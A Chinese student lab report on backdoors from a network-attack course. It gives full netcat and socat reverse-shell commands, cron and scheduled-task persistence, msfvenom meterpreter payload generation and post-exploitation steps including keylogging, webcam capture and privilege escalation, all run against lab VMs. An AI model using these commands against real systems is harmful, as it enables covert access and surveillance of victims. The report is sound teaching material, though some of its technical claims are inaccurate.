2018-2019-2 网络对抗技术 20165322 Exp2 后门原理与实践

2018-2019-2 网络对抗技术 20165322 Exp2 后门原理与实践

一、实验准备

(一)后门概念

  • 后门就是不经过正常认证流程而访问系统的通道。
  • 后门可以潜伏在编译器、操作系统、应用程序甚至专用的后门程序中
  • 那我们要怎么实现一个后门攻击呢?
    • 首先呢我们要有一个后门程序
    • 然后我们要想办法把这个程序放到目标机的系统里
    • 接着我们得想一个办法让这个程序悄悄跑起来
    • 还得隐藏它不被本机的恶意代码检测程序发现
    • 也不能被本机的或网络上的防火墙发现

(二)常用后门工具

netcat

  • 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。我们今天就是要用它获取目标机的shell。
  • 光看概念糊糊涂涂的,查找了一下资料,有兴趣可以看这里natcat使用总结和这里NetCat(NC)原理和使用,除此之外在kali中直接使用man nc命令也可以了解nc的作用

接下来我们测试netcat的一些应用

kali攻击windows
  • 查看kali的本机ipifconfig

  • kali运行监听指令nc -l -p 5322
  • Windows反弹连接kalincat.exe -e cmd.exe 192.168.132.134 5322
  • Linux下看到Windows的命令提示,获得windows的shell

windows攻击kail
  • 查看windows的本机ipipconfig

  • 使用ncat.exe程序打开监听ncat.exe -l -p 5322,其中-l:listen,-p:port
  • 在kali中反弹连接Windowsncat 192.168.43.247 5322 -e /bin/sh,其中-e表示编辑
  • windows下获得一个linux shell,可运行任何指令

nc传输数据
  • 原理就是A端先开放监听端口,B端开放同样的端口主动申请连接A端ip。连接成功即可通信。
  • Windows下监听端口,ncat.exe -l -p 5322
  • kali反弹连接到Windows,nc 192.168.43.247 5322
  • 连接建立成功,双方可以相互传输数据...反向操作试验也成功了
nc传输文件
  • 原理和传输数据也没差。。多了个参数把文件传过去接过来的。。其实一样
  • 由于这个文件传输只是一次性的,传完以后连接就会自动断开。因此我在windows下建立了hi.in文件,并且在里面输入内容。果然把文件内容一起传给了kali
  • kali下监听端口,nc -l -p 5322 > hello.out
  • windows反弹连接kalincat.exe 192.168.132.134 5322 < hi.in

socat

  • socat是nc的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options是可选项。
  • socat也算是开发的比较完善的工具了,它的基本功能就是建立两个双向的字节流,了解更多可以参考socat的介绍与使用

Meterpreter

  • Meterpreter是Metasploit的默认Windows系统下的Shell Code,关于它的更多知识,可以了解Meterpreter命令详解
  • Meterpreter是linux自带且只在linux下使用的。
  • 关于Meterpreter的一些参数如下:
    • -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode
    • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中
    • -e 使用的编码器,用于对shellcode变形,为了免杀
    • -i 编码器的迭代次数。如上即使用该编码器编码5次
    • -b badchar 是payload中需要去除的字符
    • -f 生成文件的类型
    • > 输出到哪个文件

      二、实验内容与步骤

      (一)使用netcat获取主机操作Shell,cron启动

  • 由于linux自带crontab指令,我们模拟windows攻击linux的场景,想要做反向攻击的,可以去下载一个win的cron软件。
  • 打开windows的监听ncat.exe -l -p 5322
  • 接下来在kali使用命令crontab -e,Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。在这里crontab指令增加一条定时任务,"-e"表示编辑。
  • 接下来,由于是第一次编辑,要选择编辑器,我们选择3.并在最后一行添加指令25 * * * * /bin/natcat 192.168.43.247 5322 -e /bin/sh,wq保存退出。这步指令是让kali在每个小时25分钟的时候自动反弹链接上windows。

  • 使用指令crontab -l可以查看修改情况
  • 到25分时,windows终端上已经获得了kali的shell了

(二)使用socat获取主机操作Shell, 任务计划启动

  • 在主机创建一个系统任务,并且给它设定一个触发器(这里设置的是当锁定任何用户的工作站时),socat就会启动5322端口监听
  • 这时候攻击方用5322端口向主机发送一个反弹连接信号。就可以轻松获取主机shell

启动socat

  • 打开计算机管理,选择任务计划程序->创建任务

  • 常规填上名称
  • 新建触发器-开始任务选择工作站锁定时

  • 新建操作-程序或脚本选择socat的路径,添加参数填写tcp-listen:5322 exec:cmd.exe,pty,stderr。把cmd.exe绑定到端口5322,同时把cmd.exe的stderr重定向到stdout上.

  • 完成新建任务后,按Windows+L快捷键锁定计算机,再次打开时,双击任务计划程序库可以发现之前创建的任务已经开始运行,且cmd中socat.exe已经启动

获取windows操作shell

  • 打开kali终端输入指令socat - tcp:192.168.43.247:5322,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5322端口,此时可以发现已经成功获得了一个cmd shell。

(三)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 我们接下来使用msfenom生成后门可执行文件。我们要生成的这个后门程序是Meterpreter.揭开Meterpreter的神秘面纱介绍了meterpreter的一些底层原理。
  • 我们用meterpreter生成一个后门文件放到主机里,当然会被杀软查杀。所以首先,我们要关闭防火墙、杀软、电脑保护等所有防护措施。
  • 这时候我们可以在kali上生成一个后门文件了:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.132.134 LPORT=5322 -f exe > 5322_backdoor.exe

  • 在windows输入指令ncat.exe -l 5322 > 20165322_backdoor.exe开启监听并将接受的数据写入backdoor.exe文件中,这里使用参数-lv查看连接的状态

  • 在kali中执行nc 192.168.43.247 5322 < 20165322_backdoor.exe,注意这里的IP为被控主机IP,即WindowsIP

  • 此时kali中新打开一个终端,使用msfconsole进入msf控制台,这一段是在设置控制台的监听对象。
    • 输入use exploit/multi/handler使用监听模块,设置payload
    • 使用和生成后门程序时相同的payload:set payload windows/meterpreter/reverse_tcp
    • set LHOST 192.168.132.134此处为kali的IP
    • 端口号:set LPORT 5322
    • 设置完成后,输入exploit开始监听
  • 此时结束windows的上一个进程,并且运行Windows下的后门程序20165322_backdoor.exe,再看kali已经获得了windows的shell

(四)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 基于上一个实验里做的meterpreter获取widows的shell,我们可以接着对被控制端进行一些不为人知的操作,比如……
    • 使用record_mic可以截获一段音频,他会自动保存到一个目录下。

    • 使用webcam_snap可以使用摄像头进行拍照,emmm拍了很多

    • 使用screenshot可以进行截屏

    • kali使用keyscan_start指令开始记录下击键的过程,在主机输入一些指令后。kali使用keyscan_dump指令读取击键的记录

    • 先使用getuid指令查看当前用户,使用getsystem指令进行提权
    • 使用upload / download 往受害机传/从受害机下载文件
  • 更多的操作可以参考这篇Meterpreter命令详解

    (五)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

三、实验遇到的问题与解决

  • 实验三生成后门文件时一开始用的复杂的指令,提示错误如下图。

没有老师提供的文件……嗯好吧指令换成比较简单的那个就成功了。

  • 进入控制台的时候……大家都有神奇的图案……但是我的(#゚Д゚)……他报错了。。不过没有影响使用,也没有查到解决的方案……

四、基础问题回答

五、实验总结与感想

没有关闭kali的防火墙,因此被拒绝了。参考Kali之——关闭防火墙得以解决

猜你喜欢

转载自www.cnblogs.com/wangyaojia/p/10588623.html